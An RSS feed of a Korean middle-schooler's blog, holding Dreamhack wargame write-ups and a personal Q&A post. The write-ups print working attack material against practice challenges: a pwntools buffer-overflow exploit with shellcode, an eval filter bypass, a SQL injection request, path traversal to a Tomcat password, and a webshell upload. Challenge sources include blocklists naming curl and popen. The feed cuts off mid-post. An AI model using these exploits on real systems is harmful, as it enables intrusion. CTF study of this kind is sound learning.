<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>junnyontop-pixel.log</title>
        <link>https://velog.io/</link>
        <description>중등해커</description>
        <lastBuildDate>Sun, 04 Oct 2026 02:56:14 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>junnyontop-pixel.log</title>
            <url>https://velog.velcdn.com/images/junnyontop-pixel/profile/af9d3ae6-f9cc-4799-be65-2dbfc7fb7f9c/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. junnyontop-pixel.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/junnyontop-pixel" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[드림핵 basic_exploitation_000 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-basicexploitation000-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-basicexploitation000-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 04 Oct 2026 02:56:14 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<blockquote>
<p>이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, &quot;flag&quot; 파일을 읽으세요.
&quot;flag&quot; 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.</p>
</blockquote>
<pre><code class="language-text">Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments</code></pre>
<h2 id="코드-확인">코드 확인</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;


void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[128];

    initialize();

    printf(&quot;buf = (%p)\n&quot;, buf);
    scanf(&quot;%141s&quot;, buf);

    return 0;
}</code></pre>
<p>코드를 보니 버퍼가 128 바이트인데 입력을 141 바이트를 받는 스택 버퍼 오버플로우 취약점이 있었다.</p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/69ce17f5-3926-4f76-bc23-42aa1d2c0bb7/image.png" alt=""></p>
<p><code>pwndbg</code>로 확인해보니 버퍼 메모리부터 리턴 주소 시작까지의 오프셋이 132 바이트였다.</p>
<p>26 바이트 짜리 셸코드를 구해서</p>
<p><code>[셸코드 26 바이트] + [ 106 바이트 채움 ] + [ 리턴주소 4 바이트]</code>
구조로 페이로드를 넣으면 될거같다.</p>
<pre><code class="language-python">from pwn import *

context.arch = &#39;i386&#39;          # 32비트
context.log_level = &#39;info&#39;

BINARY = &quot;./basic_exploitation_000&quot;
elf = ELF(BINARY)

p = remote(&quot;host3.dreamhack.games&quot;, 22192)

p.recvuntil(b&quot;buf = (&quot;)
leak = p.recvuntil(b&quot;)&quot;, drop=True)
buf_addr = int(leak, 16)

log.info(f&quot;buf address: {hex(buf_addr)}&quot;)

OFFSET = 132

shellcode = b&quot;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80&quot;

payload = shellcode + b&quot;A&quot; * 106 + p32(buf_addr)

p.sendline(payload)
p.interactive()

log.info(f&quot;shellcode length: {len(shellcode)}&quot;)
log.info(f&quot;payload length: {len(payload)}&quot;)
print(payload)</code></pre>
<p>숫자 106 부분을 <code>(OFFSET - len(shellcode))</code>로 바꿔도 잘 작동한다.</p>
<blockquote>
<p>원래 pwntool이 생성해주는 셸코드를 사용하다가 공백 문자가 포함되어있어서 26 바이트 짜리 셸코드로 교체했다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 youth-Case 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-youth-Case-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-youth-Case-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 25 Sep 2026 01:14:40 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/04f51292-4dbd-4b3b-aaf8-c850001ece4d/image.png" alt=""></p>
<h2 id="사이트-확인">사이트 확인</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f7522050-1d67-4cc7-a51b-87d45a4f1ed2/image.png" alt=""></p>
<p>그냥 딸랑 <code>hi guest</code>만 나와있는데</p>
<h2 id="코드-확인">코드 확인</h2>
<pre><code class="language-js">const words = require(&quot;./ag&quot;)
const express = require(&quot;express&quot;)

const PORT = 3000
const app = express()
app.set(&#39;case sensitive routing&#39;, true)
app.use(express.urlencoded({ extended: true }))

function search(words, leg) {
    return words.find(word =&gt; word.name === leg.toUpperCase())
}

app.get(&quot;/&quot;,(req, res)=&gt;{
    return res.send(&quot;hi guest&quot;)
})

app.post(&quot;/shop&quot;,(req, res)=&gt;{
    const leg = req.body.leg.toLowerCase()

    if (leg == &#39;flag&#39;){
        return res.status(403).send(&quot;Access Denied&quot;)
    }

    const obj = search(words,leg)

    if (obj){
        return res.send(JSON.stringify(obj))
    }

    return res.status(404).send(&quot;Nothing&quot;)
})

app.listen(PORT,()=&gt;{
    console.log(`[+] Started on ${PORT}`)
})</code></pre>
<pre><code class="language-conf">events {
    worker_connections  1024;
}

http {
    server {
        listen 80;
        listen [::]:80;
        server_name  _;

        location = /shop {
            deny all;
        }

        location = /shop/ {
            deny all;
        }

        location / {
            proxy_pass http://app:3000/;
        }

    }

}
</code></pre>
<p><code>nginx</code>를 보면 <code>/shop</code>에 대한 모든 요청을 거부하고 있다.</p>
<h2 id="풀이">풀이</h2>
<p><a href="https://velog.io/@nobody09/Nodejsnginx-Bypass-nginx-ACL-Rules">https://velog.io/@nobody09/Nodejsnginx-Bypass-nginx-ACL-Rules</a>
이 글을 보니 <code>nginx</code> 1.22.0 버전은 <code>\xa0</code>으로 우회할 수 있다고 한다.</p>
<p>이제 <code>flag</code> 문자를 우회해야한다.</p>
<p>찾아보니 <code>f</code>와 <code>l</code>이 합쳐진 단일 문자가 있다고 한다.
그걸 이용해서 <code>burp suite repeater</code>로 요청을 보냈다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/00ba91c5-2f04-4c4c-bad3-962dd43d2969/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[해킹을 시작하고 난 후]]></title>
            <link>https://velog.io/@junnyontop-pixel/%ED%95%B4%ED%82%B9%EC%9D%84-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B3%A0-%EB%82%9C-%ED%9B%84</link>
            <guid>https://velog.io/@junnyontop-pixel/%ED%95%B4%ED%82%B9%EC%9D%84-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B3%A0-%EB%82%9C-%ED%9B%84</guid>
            <pubDate>Mon, 14 Sep 2026 11:33:59 GMT</pubDate>
            <description><![CDATA[<h2 id="히히히히히힣">히히히히히힣</h2>
<p>하하하하ㅏ핳 오늘은 내 tmi와 셀프 q&amp;a를 해보겠다.</p>
<h2 id="1-해킹을-시작하게된-계기">1. 해킹을 시작하게된 계기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/29712720-5c27-4ba0-bdee-227c0f576798/image.jpg" alt=""></p>
<p>저번 디미고 관련 포스팅에서도 말했듯이 바이브 코딩만 하다가 ai랑 말싸움만 하게되니깐 해킹에 관심이 자연스럽게 생겼다.</p>
<h2 id="2-코딩-좀-해봤다고-깝죽대다가-해킹판-들어왔을때-느낌은">2. 코딩 좀 해봤다고 깝죽대다가 해킹판 들어왔을때 느낌은?</h2>
<p>평소에 파이썬 좀 치니까 해킹도 뭐 코드 몇줄 치면 뚫리는 줄 알았는데, 서버 코드 보니깐 알수없는 외계어 파티가 열려서 당황했다.</p>
<h2 id="3-친구들한테-해킹-공부한다고-말했을때-반응">3. 친구들한테 해킹 공부한다고 말했을때 반응</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4460fc6a-8faa-4aeb-8f9c-4f4e997dcff0/image.png" alt=""></p>
<p>&quot;쟤 인스타 해킹해줘&quot;, &quot;비트코인좀 줘라&quot;, &quot;거짓말치고있네&quot;, &quot;내 인스타 해킹하면 인정해줌&quot;</p>
<p><del>ㅇㄴ ㅠㅠㅠㅜㅠㅜ</del></p>
<h2 id="4-중1인데-왜-벌써부터-디미고-가겠다고-이러고-사나">4. 중1인데 왜 벌써부터 디미고 가겠다고 이러고 사나?</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/57a872dd-ce7e-434b-afa5-7f26abb137d1/image.jpg" alt=""></p>
<p>중2때 대회나가서 동상 타겠다고 이러는걸 보면 나도 좀 신기하긴 한데 그래도 문제 풀리는게 재밌어서 그러는거 같다.</p>
<h2 id="5-시험-기간에도-워게임-사이트-창-켜놓고-있나">5. 시험 기간에도 워게임 사이트 창 켜놓고 있나?</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cd0740ab-b359-46c7-8f26-dc5a32d06079/image.jpg" alt=""></p>
<p>당연한 말씀. 드림핵 키고 타자치다가 걸려서 엄청 혼났다.</p>
<h2 id="6-부모님이-컴퓨터-방-들어오실-때-화면-급하게-가려본-적-있나">6. 부모님이 컴퓨터 방 들어오실 때 화면 급하게 가려본 적 있나?</h2>
<p>있다. 진짜 해킹 공부했는데 웬지 하면 안되는걸 하는거같아서 가렸다가 게임하는줄 아시고 혼났다.</p>
<h2 id="7-검은-바탕에-초록색-글씨-터미널-켜두고-스스로-폼-잡은-적-있나">7. 검은 바탕에 초록색 글씨 터미널 켜두고 스스로 폼 잡은 적 있나?</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4270dd13-01e9-4800-9063-54b7e989b0eb/image.jpg" alt=""></p>
<p><del>뭔가 내가 영화속 해커가 된거같은 느낌적인 느낌?</del></p>
<h2 id="8-학교-컴퓨터실">8. 학교 컴퓨터실</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/fc84567e-9396-49f3-a24d-0bf8d8c3276f/image.jpg" alt=""></p>
<p>초등학교때 학교 컴퓨터실에서 엔트리를 하고있었는데 감시받는걸 모르고 혼자 f12 누르고 alert 같은걸로 이싱한거 만들다가 겁나 혼났다. <del>왜 그랬지... 🤦</del></p>
<h2 id="9-남들이-만든-웹사이트-볼-때-나도-모르게">9. 남들이 만든 웹사이트 볼 때 나도 모르게....</h2>
<p>학교 웹사이트나 그런 웹사이트 볼때 나도 모르게 여기에 <code>&#39;</code> 넣으면 에러터지나? 이랬던적이 있다. <del>이건 안혼났다..</del></p>
<h2 id="끄으읕">끄으읕</h2>
<p>오늘은 해킹을 시작하고난 후의 내 tmi를 적어보았다.
안녕<del>~</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 Addition calculator 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Addition-calculator-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Addition-calculator-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 13 Sep 2026 00:49:26 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/c8a899e7-e1ef-4234-921b-c9e2c10f700f/image.png" alt=""></p>
<h2 id="사이트-분석">사이트 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/a4679f18-ef1d-4ec4-8c9f-fc19c69fd255/image.png" alt=""></p>
<p>이런 화면이 떠서</p>
<p>여러가지 덧셈식을 입력해 보았다.</p>
<p><code>1+1</code>,<code>1+2</code>
<code>1-2</code>를 입력했더니
<code>filltered</code>가 떴다.</p>
<h2 id="소스코드-분석">소스코드 분석</h2>
<pre><code class="language-python">#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re


app = Flask(__name__)


def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([&quot; &quot;, &quot;.&quot;, &quot;(&quot;, &quot;)&quot;, &quot;+&quot;])

    if re.search(&quot;(system)|(curl)|(flag)|(subprocess)|(popen)&quot;, formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True


@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def index():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;index.html&quot;)
    else:
        formula = request.form.get(&quot;formula&quot;, &quot;&quot;)
        if formula != &quot;&quot;:
            if filter(formula):
                return render_template(&quot;index.html&quot;, result=&quot;Filtered&quot;)
            else:
                try:
                    formula = eval(formula)
                    return render_template(&quot;index.html&quot;, result=formula)
                except subprocess.CalledProcessError:
                    return render_template(&quot;index.html&quot;, result=&quot;Error&quot;)
                except:
                    return render_template(&quot;index.html&quot;, result=&quot;Error&quot;)
        else:
            return render_template(&quot;index.html&quot;, result=&quot;Enter the value&quot;)


app.run(host=&quot;0.0.0.0&quot;, port=8000)</code></pre>
<p><code>w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([&quot; &quot;, &quot;.&quot;, &quot;(&quot;, &quot;)&quot;, &quot;+&quot;])</code></p>
<p>이 부분을 보면 허용되는 문자들은, <code>a-z</code>,<code>A-Z</code>,<code>공백,.,(,),+</code>였다.
또, 필터링되는 단어들은 <code>system, curl, flag, subprocess, popen</code>이었다</p>
<p><code>formula = eval(formula)</code>
그리고 이 부분을 보면 필터를 뚫어 내기만 하면 <code>python</code> 코드를 실행해 <code>flag</code>를 읽을 수 있을거 같았다.</p>
<h2 id="풀이">풀이</h2>
<p><code>open(flag.txt).read()</code>
나는 이런 형태의 코드를 사용할건데, 블랙리스트에 의해 <code>flag</code>가 필터링된다. 따라서 파이썬의 <code>chr()</code> 함수를 이용하여 <code>flag</code>를 변환했다.</p>
<pre><code>open(chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)).read()</code></pre><p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/80f8c256-3e4f-4d0c-91ab-51d4ac8b4770/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 baby-sqllite 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-baby-sqllite-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-baby-sqllite-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sat, 29 Aug 2026 06:13:17 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/096ec670-6a60-4e35-8ed5-23511983e8fd/image.png" alt=""></p>
<p><del>히히 나는 숙련된 웹해커</del></p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/a8ad76f5-5099-43a9-9916-afa5f01d82e7/image.png" alt=""></p>
<p>로그인창이 하나 나온다.</p>
<h3 id="소스코드">소스코드</h3>
<pre><code class="language-python">#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = &#39;users.db&#39;

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, &#39;sqlite_db&#39;):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


try:
    FLAG = open(&#39;./flag.txt&#39;, &#39;r&#39;).read()
except:
    FLAG = &#39;[**FLAG**]&#39;


@app.route(&#39;/&#39;)
def index():
    return render_template(&#39;index.html&#39;)


@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def login():
    if request.method == &#39;GET&#39;:
        return render_template(&#39;login.html&#39;)

    uid = request.form.get(&#39;uid&#39;, &#39;&#39;).lower()
    upw = request.form.get(&#39;upw&#39;, &#39;&#39;).lower()
    level = request.form.get(&#39;level&#39;, &#39;9&#39;).lower()

    sqli_filter = [&#39;[&#39;, &#39;]&#39;, &#39;,&#39;, &#39;admin&#39;, &#39;select&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;\t&#39;, &#39;\n&#39;, &#39;\r&#39;, &#39;\x08&#39;, &#39;\x09&#39;, &#39;\x00&#39;, &#39;\x0b&#39;, &#39;\x0d&#39;, &#39; &#39;]
    for x in sqli_filter:
        if uid.find(x) != -1:
            return &#39;No Hack!&#39;
        if upw.find(x) != -1:
            return &#39;No Hack!&#39;
        if level.find(x) != -1:
            return &#39;No Hack!&#39;


    with app.app_context():
        conn = get_db()
        query = f&quot;SELECT uid FROM users WHERE uid=&#39;{uid}&#39; and upw=&#39;{upw}&#39; and level={level};&quot;
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == &#39;admin&#39;:
                    return FLAG
        except:
            return &#39;Error!&#39;
    return &#39;Good!&#39;


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, &#39;sqlite_db&#39;):
        top.sqlite_db.close()


if __name__ == &#39;__main__&#39;:
    os.system(&#39;rm -rf %s&#39; % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute(&#39;CREATE TABLE users (uid text, upw text, level integer);&#39;)
        conn.execute(&quot;INSERT INTO users VALUES (&#39;dream&#39;,&#39;cometrue&#39;, 9);&quot;)
        conn.commit()

    app.run(host=&#39;0.0.0.0&#39;, port=8001)</code></pre>
<p><code>sqli_filter = [&#39;[&#39;, &#39;]&#39;, &#39;,&#39;, &#39;admin&#39;, &#39;select&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;\t&#39;, &#39;\n&#39;, &#39;\r&#39;, &#39;\x08&#39;, &#39;\x09&#39;, &#39;\x00&#39;, &#39;\x0b&#39;, &#39;\x0d&#39;, &#39; &#39;]</code>
이 부분을 보면 이렇게 블랙리스트 기반으로 해킹을 방지하고있다.</p>
<pre><code class="language-python">conn.execute(&#39;CREATE TABLE users (uid text, upw text, level integer);&#39;)
        conn.execute(&quot;INSERT INTO users VALUES (&#39;dream&#39;,&#39;cometrue&#39;, 9);&quot;)</code></pre>
<p>그리고 이렇게 시작하자마자 초기 계정을 생성한다.
<code>level</code> 부분이 제일 우회하기 쉬울거같다.</p>
<pre><code class="language-http">POST /login HTTP/1.1
Host: host3.dreamhack.games:19012
Content-Length: 147
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Origin: http://host3.dreamhack.games:19012
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://host3.dreamhack.games:19012/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

uid=guest&amp;upw=guest&amp;level=level=676767676776767676767676667677676767676767/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))</code></pre>
<p><code>burp suite</code>로 이렇게 패킷을 조작해서 보내면</p>
<pre><code class="language-http">HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
Server: Werkzeug/1.0.1 Python/3.7.7
Date: Sat, 29 Aug 2026 06:10:41 GMT

DH{sql-lite-cass-lite}</code></pre>
<p>이렇게 플래그가 나온다.</p>
<hr>
<h2 id="후기">후기</h2>
<p>이렇게 주석을 이용해서 띄어쓰기를 대체하고 <code>||</code> 이걸 이용해서 글자를 붙일 수 있다는걸 알았다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 NoSQL-CouchDB 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-NoSQL-CouchDB-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-NoSQL-CouchDB-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 23 Aug 2026 05:23:34 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<blockquote>
<p>Exercise: CouchDB에서 실습하는 문제입니다.</p>
</blockquote>
<p>ㅓ.. 음</p>
<h2 id="사이트-분석">사이트 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f06b107f-3177-49cc-88b6-bb49f56c5714/image.png" alt=""></p>
<p>처음 서비스에 들어가니 로그인 창만 달랑 있었다.</p>
<p><code>guest: guest</code>로 로그인을 시도해봤다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d7976704-7e73-4ea6-ac02-f63e8915eab3/image.png" alt=""></p>
<p>오잉?</p>
<p><code>admin</code>으로도 시도해봤다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ffac8afd-8304-4678-bd2a-21dbffe4c101/image.png" alt=""></p>
<p>역시나...</p>
<p>그리고 마지막으로 <code>1: 1</code>로  시도해보니..</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/41179c9a-a596-4bf6-8d7f-d5f2426e9f0b/image.png" alt=""></p>
<p>이번에는 <code>fail</code>이 아니고 <code>error</code>가 떴다.</p>
<p><code>1</code> 이라는 계정이 없어서 <code>404</code> 에러가 뜬거같다.</p>
<p><code>_all_docs</code> 특수 엔드포인트를 사용해 로그인을 시도해봤다.</p>
<p><code>fail</code> 메시지가 왔다. 엔드포인트가 먹히는거같다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/dcb1c90d-9277-4d5e-b26b-e9c1f732c5a4/image.png" alt=""></p>
<p>burpsuite로 upw 부분을 지우고 요청을 보냈다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/3637e8c7-3f99-499c-aee9-a37737c59200/image.png" alt=""></p>
<p>flag가 나왔다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 Tomcat Manager 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Tomcat-Manager-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Tomcat-Manager-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 23 Aug 2026 01:21:13 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ecfd1b38-46ef-4fc7-90fc-efeee87086c7/image.png" alt=""></p>
<h2 id="서비스-분석">서비스 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b2e6e999-03ad-43a8-b4c1-88798f8d3052/image.png" alt=""></p>
<p>?????????????</p>
<h2 id="소스코드-분석">소스코드 분석</h2>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;tomcat-users xmlns=&quot;http://tomcat.apache.org/xml&quot;
              xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
              xsi:schemaLocation=&quot;http://tomcat.apache.org/xml tomcat-users.xsd&quot;
              version=&quot;1.0&quot;&gt;

    &lt;role rolename=&quot;manager-gui&quot;/&gt;
    &lt;role rolename=&quot;manager-script&quot;/&gt;
    &lt;role rolename=&quot;manager-jmx&quot;/&gt;
    &lt;role rolename=&quot;manager-status&quot;/&gt;
    &lt;role rolename=&quot;admin-gui&quot;/&gt;
    &lt;role rolename=&quot;admin-script&quot;/&gt;
    &lt;user username=&quot;tomcat&quot; password=&quot;[**SECRET**]&quot; roles=&quot;manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script&quot; /&gt;  
&lt;/tomcat-users&gt;</code></pre>
<p><code>tomcat-users.xml</code>이다. 원래 톰캣 기반  서비스들은 <code>/manager</code> 주소로 들어가면 웹쉘을 업로드 할 수 있단다.</p>
<p>하지만 비밀번호를 모른다.</p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b631262f-86d4-4d8d-962f-7947539715c1/image.png" alt=""></p>
<p>대충 아무거나 찔러보던중 이 이미지의 경로로 들어가봤다.</p>
<p><code>http://host3.dreamhack.games:13417/image.jsp?file=working.png</code> 여기서 이 경로를 <code>http://host3.dreamhack.games:13417/image.jsp?file=tomcat-users.xml</code> 바꿔봤다. 404 에러가 뜬다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/125d4242-9ee0-4af2-b6cc-609ee74f35f8/image.png" alt=""></p>
<p>상대경로로 이것저것 해보다가 성공했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/c678a400-63b5-4fd9-880c-de985a2246ba/image.png" alt=""></p>
<p>이걸 다른이름으로 저장해서 비밀번호를 얻었다.
<code>P2assw0rd_4_t0mC2tM2nag3r31337</code></p>
<p>얻은 비번을 사용해 <code>/manager</code>에 로그인했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/60efbd9e-e8be-41ee-be79-7f9560626f22/image.png" alt=""></p>
<p><code>.war</code> 형식으로 빌드된 웹쉘을 <a href="https://github.com/BustedSec/webshell/blob/master/webshell.war">다운로드 </a>받아서 업로드한다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/012b0264-c0d1-4621-b0af-fea116c0706a/image.png" alt=""></p>
<p>이제 <code>/webshell</code>로 접속할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d60670d9-b9ab-4232-9ccd-53f028f05405/image.png" alt=""></p>
<p><code>/flag</code></p>
<h2 id="후기">후기</h2>
<p><code>tomcat</code>에 <code>/manager</code>이 있다는걸 몰라서 힘들었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 Another Ping 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Another-Ping-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Another-Ping-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Mon, 17 Aug 2026 07:14:23 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/8edccab7-2527-4ce7-bee1-9c00422e9e4a/image.png" alt=""></p>
<p>문제 설명은 못알아먹었지만 <code>ping</code> 관련 문제는 대부분 <code>command injection</code> 취약점을 가지고있다.</p>
<h2 id="풀이">풀이</h2>
<h3 id="서비스-분석">서비스 분석</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4a0cfb71-5101-47a4-91f5-30e914bb096a/image.png" alt=""></p>
<p>서비스는 간단하다 이렇게 핑을 날려볼 수 있다.
<del>그래도 이건 디자인이 좀 마음에 든다.</del></p>
<h3 id="소스코드-분석">소스코드 분석</h3>
<pre><code class="language-python">import os
import re
import subprocess
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)
app.secret_key = os.urandom(32)

FILTERED_CHARS = [&#39; &#39;, &#39;;&#39;, &#39;|&#39;, &#39;&amp;&#39;, &#39;&gt;&#39;, &#39;&lt;&#39;, &#39;(&#39;, &#39;)&#39;, &#39;[&#39;, &#39;]&#39;, &#39;{&#39;, &#39;}&#39;, &#39;\n&#39;, &#39;\r&#39;]

def is_valid_ip(ip):
    ip_pattern = r&#39;^(\d{1,3}\.){3}\d{1,3}$&#39;
    return bool(re.match(ip_pattern, ip))

def filter_input(user_input):
    for char in FILTERED_CHARS:
        if char in user_input:
            return False, f&quot;Invalid character detected: {char}&quot;
    return True, &quot;OK&quot;

@app.route(&#39;/&#39;)
def index():
    return render_template(&#39;index.html&#39;)

@app.route(&#39;/ping&#39;, methods=[&#39;POST&#39;])
def ping():
    ip = request.form.get(&#39;ip&#39;, &#39;&#39;).strip()

    if not ip:
        return jsonify({&#39;error&#39;: &#39;IP address is required&#39;}), 400

    is_valid, message = filter_input(ip)
    if not is_valid:
        return jsonify({&#39;error&#39;: message}), 400

    try:
        cmd = f&quot;ping -c 4 {ip}&quot;
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)

        return jsonify({
            &#39;command&#39;: cmd,
            &#39;stdout&#39;: result.stdout,
            &#39;stderr&#39;: result.stderr,
            &#39;returncode&#39;: result.returncode
        })

    except subprocess.TimeoutExpired:
        return jsonify({&#39;error&#39;: &#39;Command timed out&#39;}), 500
